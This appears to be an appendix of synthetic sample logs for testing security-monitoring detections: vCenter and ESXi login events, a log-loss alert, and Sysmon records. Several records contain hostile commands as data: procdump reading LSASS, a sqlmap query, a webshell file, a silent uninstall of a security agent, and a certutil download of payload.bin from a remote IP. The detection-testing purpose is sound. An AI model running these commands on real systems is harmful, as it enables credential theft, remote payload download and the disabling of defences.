| 123456789101112131415161718192021222324252627282930313233 |
- # Appendix B - production-style sample logs
- # B1-01 vCenter failed login
- 2026-03-09T10:20:31.492Z vcsa01 vpxd[29721]: Event [9023141] [1-1] [vim.event.BadUsernameSessionEvent] [error] [VSPHERE.LOCAL\\administrator] [Login failure for user from 198.51.100.33]
- # B1-02 ESXi SSH enabled
- 2026-03-09T10:20:55.017Z esxi-01 hostd: User root@127.0.0.1 changed setting: SSH login is enabled
- # B1-03 ESXi SSH auth activity
- 2026-03-09T10:21:12.161Z esxi-01 sshd[4123010]: Failed password for root from 203.0.113.42 port 53770 ssh2
- 2026-03-09T10:21:27.941Z esxi-01 sshd[4123012]: Accepted password for root from 203.0.113.42 port 53811 ssh2
- # B2-01 log loss detection from SOC Integrator
- soc_event=correlation event_type=log_loss_detection stream=fortigate expected_min=10 observed=0 window_min=5 severity=warning
- # B3-01 Sysmon LSASS access
- {"win":{"system":{"eventID":"10"},"eventdata":{"targetImage":"C:\\Windows\\System32\\lsass.exe","sourceImage":"C:\\Tools\\procdump.exe"}}}
- # B3-02 SQLi keywords in process cmdline
- {"win":{"system":{"eventID":"1"},"eventdata":{"commandLine":"cmd.exe /c sqlmap --risk=3 --batch --sql-query=select * from users"}}}
- # B3-03 webshell file created
- {"win":{"system":{"eventID":"11"},"eventdata":{"targetFilename":"C:\\inetpub\\wwwroot\\shell.aspx"}}}
- # B3-04 security agent uninstall via msiexec
- {"win":{"system":{"eventID":"1"},"eventdata":{"commandLine":"msiexec /x {D23A1B7F-231D-4502-9B00-123456789ABC} /qn"}}}
- # B3-05 Task Manager touching LSASS
- {"win":{"system":{"eventID":"10"},"eventdata":{"sourceImage":"C:\\Windows\\System32\\Taskmgr.exe","targetImage":"C:\\Windows\\System32\\lsass.exe"}}}
- # B3-06 certutil execution
- {"win":{"system":{"eventID":"1"},"eventdata":{"image":"C:\\Windows\\System32\\certutil.exe","commandLine":"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin"}}}
|
